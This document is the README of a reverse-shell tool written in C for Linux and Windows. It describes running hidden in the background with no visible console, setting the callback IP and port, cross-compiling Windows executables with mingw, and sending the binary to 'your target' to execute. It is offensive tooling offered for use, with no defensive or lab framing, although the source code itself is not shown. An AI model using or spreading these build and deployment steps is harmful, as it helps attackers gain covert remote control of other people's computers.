A reverse shell for Windows and Linux written in C.

Features:

• Linux and Windows version.
• Runs in the background (on both, Linux and Windows, no blocking terminal or black screen).
• You can choose between waiting for the client (if it's no listening) or not.
• Compile with just one command (see at the bottom of the README.md), there is also a Makefile.

For Windows you will need mingw-w64 compiler (the .exe binary is compiled in linux):

sudo apt install gcc-mingw-w64

1. Clone repo:

git clone https://github.com/izenynn/c-reverse-shell.git

2. Change client IP and client PORT with change_client.sh (you can change it manually inside linux.c and windows.c if you prefer):

./change_client.sh [CLIENT_IP] [CLIENT_PORT]

3. Compile for Linux and Windows with make (equivalent to make all):

make

4. And ✨ magic ✨ compile the program in your target, or just send the binary, and execute it, make sure your client is listening 😊.

Additionally you can compile with WAIT_FOR_CLIENT true, this will make the program loop until the connection to the client is established, instead of returning an error in the connection:

make WAIT_FOR_CLIENT=TRUE

NOTE: this doen't work on windows, not sure why, but I'm sleepy, so maybe I fix it another day (or pull request if you fix it please 😊).

Other Makefile rules:

• make all
• make linux
• make windows
• make re
• make all WAIT_FOR_CLIENT=TRUE
• make linux WAIT_FOR_CLIENT=TRUE
• make windows WAIT_FOR_CLIENT=TRUE
• make re WAIT_FOR_CLIENT=TRUE
• make clean

In case you don't have the Makefile, just copy the reverse-shell.c file and compile it with the following command:

• Linux

gcc -std=c99 linux.c -o rsh.out

gcc -std=c99 linux.c -o rsh.out -D WAIT_FOR_CLIENT

• Windows:

i686-w64-mingw32-gcc-win32 -std=c99 windows.c -o rsh.exe -lws2_32

i686-w64-mingw32-gcc-win32 -std=c99 windows.c -o rsh.exe -lws2_32 -D WAIT_FOR_CLIENT